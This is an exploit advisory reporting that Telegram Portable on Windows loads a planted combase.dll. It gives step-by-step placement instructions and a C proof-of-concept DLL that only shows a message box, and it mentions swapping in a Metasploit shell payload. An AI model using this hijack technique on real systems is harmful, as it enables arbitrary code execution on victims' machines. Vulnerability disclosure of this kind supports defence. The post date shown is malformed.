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Telegram Portable DLL Hijacking combase.dll

Posted on 30 November -0001

<HTML><HEAD><TITLE>Telegram Portable DLL Hijacking  (combase.dll )</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Title: Telegram Portable DLL Hijacking  (combase.dll )
# Date: 29-8-2016
# Author: Ashiyane Digital Security Team
# Vendor Homepage: https://telegram.org/
# Software Link:
  https://telegram.org/dl/desktop/win_portable
# Tested on: Windows 7
#######################################################################################

Vuln DLL: combase.dll

Telegram.exe will search for an load any DLL named "combase.dll".
If an attacker can place the DLL in a location
where victim open Telegram.exe it will load and run the attackers DLL
and code.
also can generate a msfpayload DLL and spawn a shell, for example.
#######################################################################################
 Exploit :

 1- Save and compile below C code as 'combase.dll' to create vuln DLL

 2- Place 'combase.dll' on remote share or other directory like "downloads"

 3- Open Telegram.exe :DLL

 //gcc test.c -o combase.dll -shared
 //this dll show a message box
 #include <windows.h>
 #define DllExport __declspec (dllexport)

 BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
 {
   dll_hijack();
   return 0;
 }

 int dll_hijack()
 {
   MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
   return 0;
 }
#################

Discovered By : Amir.ght

#################

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